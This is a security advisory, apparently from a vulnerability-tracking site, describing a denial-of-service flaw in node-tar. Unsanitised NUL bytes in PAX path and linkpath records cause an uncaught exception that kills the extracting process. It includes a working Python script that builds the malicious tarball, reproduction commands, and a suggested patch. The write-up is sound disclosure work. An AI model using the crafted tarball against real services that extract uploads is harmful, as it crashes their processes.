node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L상세 설명
Summary
node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.
This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.
A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.
Root cause
Vulnerable sink — src/pax.ts:157-183
PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:
1// src/pax.ts:157 2const parseKVLine = (set: Record<string, unknown>, line: string) => { 3 const n = parseInt(line, 10) 4 if (n !== Buffer.byteLength(line) + 1) return set 5 line = line.slice((n + ' ').length) 6 const kv = line.split('=') 7 const r = kv.shift() 8 if (!r) return set 9 const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')10 const v = kv.join('=') // <-- NO NUL STRIP11 set[k] =12 /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?13 new Date(Number(v) * 1000)14 : /^[0-9]+$/.test(v) ? +v15 : v // <-- v with NULs lands here16 return set17}The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().
Correctly-patched cousin sink — src/parse.ts:375-388
The equivalent code path for GNU L/K long-headers does strip NUL bytes:
1// src/parse.ts:375 2case 'NextFileHasLongPath': 3case 'OldGnuLongPath': { 4 const ex = this[EX] ?? Object.create(null) 5 this[EX] = ex 6 ex.path = this[META].replace(/\0.*/, '') // <-- NUL strip applied 7 break 8} 9case 'NextFileHasLongLinkpath': {10 const ex = this[EX] || Object.create(null)11 this[EX] = ex12 ex.linkpath = this[META].replace(/\0.*/, '') // <-- NUL strip applied13 break14}The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.
Downstream blast radius
entry.path and entry.linkpath are consumed in:
src/unpack.ts→fs.lstat,fs.open,fs.symlink,fs.link,fs.mkdirsrc/list.ts(no crash — listing tolerates NUL in strings)- Any consumer of the
ReadEntryevent that callspath.join()/fs.*onentry.path
The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.
Proof of Concept
Artifacts
poc-null-byte-crash.tar— 3072 bytes — PAXpath=visible.txt\x00hidden.txtpoc-null-linkpath-crash.tar— 2560 bytes — PAXlinkpath=target\x00garbage(symlink target sink)poc1-pax-prefix.py— minimal PAX-header builder (Python 3, no deps)
Tarball generator (minimal repro — Python 3)
1#!/usr/bin/env python3 2"""Minimal PAX-NUL-injection tarball generator for node-tar PoC.""" 3import os 4 5def cksum(b): 6 s = 0 7 for i, x in enumerate(b): 8 s += 0x20 if 148 <= i < 156 else x 9 return s10 11def pad512(buf):12 rem = len(buf) % 51213 return buf + b'\0' * (512 - rem) if rem else buf14 15def hdr(name, size, typeflag, prefix=b'', linkpath=b''):16 b = bytearray(512)17 b[0:len(name[:100])] = name[:100]18 b[100:108] = b'0000644\0'19 b[108:116] = b'0001000\0'20 b[116:124] = b'0001000\0'21 b[124:136] = ('%011o ' % size).encode()22 b[136:148] = ('%011o ' % 0).encode()23 b[148:156] = b' '24 b[156:157] = typeflag25 b[157:157+len(linkpath[:100])] = linkpath[:100]26 b[257:265] = b'ustar\x0000'27 b[265:270] = b'root\0'28 b[297:302] = b'root\0'29 b[329:337] = b'0000000\0'30 b[337:345] = b'0000000\0'31 b[345:345+len(prefix[:155])] = prefix[:155]32 s = cksum(b)33 b[148:156] = ('%06o\0 ' % s).encode()34 return bytes(b)35 36def pax(records):37 body = b''38 for k, v in records:39 kv = b' ' + k + b'=' + v + b'\n'40 for digits in range(1, 8):41 total = digits + len(kv)42 if len(str(total)) == digits:43 break44 body += str(total).encode() + kv45 return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)46 47out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path48out += hdr(b'placeholder', 1, b'0')49out += pad512(b'A')50out += b'\0' * 1024 # end-of-archive51 52open('poc.tar', 'wb').write(out)Reproduction
1# 1. Generate tarball 2python3 poc1-pax-prefix.py # writes poc.tar (3 KB) 3 4# 2. Install vulnerable version 5mkdir repro && cd repro 6npm init -y && npm install tar@7.5.16 7 8# 3. Try to extract with documented try/catch — observe uncaught exception 9mkdir -p ./out10node --input-type=module -e '11 process.on("uncaughtException", e => {12 console.log("UNCAUGHT:", e.code, "-", e.message);13 process.exit(99);14 });15 import("tar").then(async tar => {16 try {17 await tar.x({ file: "../poc.tar", cwd: "./out" });18 console.log("NORMAL_RETURN");19 } catch (e) {20 console.log("CAUGHT_BY_USER:", e.code);21 }22 });'Observed output (verified 2026-06-23 against tar@7.5.16)
1UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string, 2Uint8Array, or URL without null bytes. 3Received '/.../out/visible.txt\x00hidden.txt' 4exit: 99The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.
Impact
Direct: remote DoS
Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:
- npm registry tarball ingestion and downstream mirrors
- GitHub Actions cache restore (
actions/cache,actions/setup-*extracting toolchains) - Container image build pipelines that unpack layer tarballs through node tooling
- Backup-restore services accepting user uploads
- CI artifact processors and badge generators
- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
- Cloud functions that auto-extract uploaded archives
A correctly-coded consumer that does:
1try { 2 await tar.x({ file: req.upload.path, cwd: tmpdir }); 3} catch (e) { 4 return res.status(400).json({ error: 'bad archive' }); 5}does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.
Secondary: parser-differential validator bypass (CWE-436)
| Tool | Result for path=visible.txt\x00hidden.txt |
|---|---|
GNU tar (tar -tvf) | Lists visible.txt (truncated at NUL) |
bsdtar -tvf | Lists visible.txt (truncated at NUL) |
Python tarfile.list() | Lists visible.txt\x00hidden.txt (raw) |
node-tar tar.t({file}) | Emits raw NUL-bearing path (no crash) |
node-tar tar.x({file}) | Crashes (uncaught throw) |
A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.
Suggested patch
Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:
1--- a/src/pax.ts 2+++ b/src/pax.ts 3@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => { 4 5 const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') 6 7- const v = kv.join('=') 8+ const v = kv.join('=').replace(/\0.*$/, '') 9 set[k] =10 /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?11 new Date(Number(v) * 1000)This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.
A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…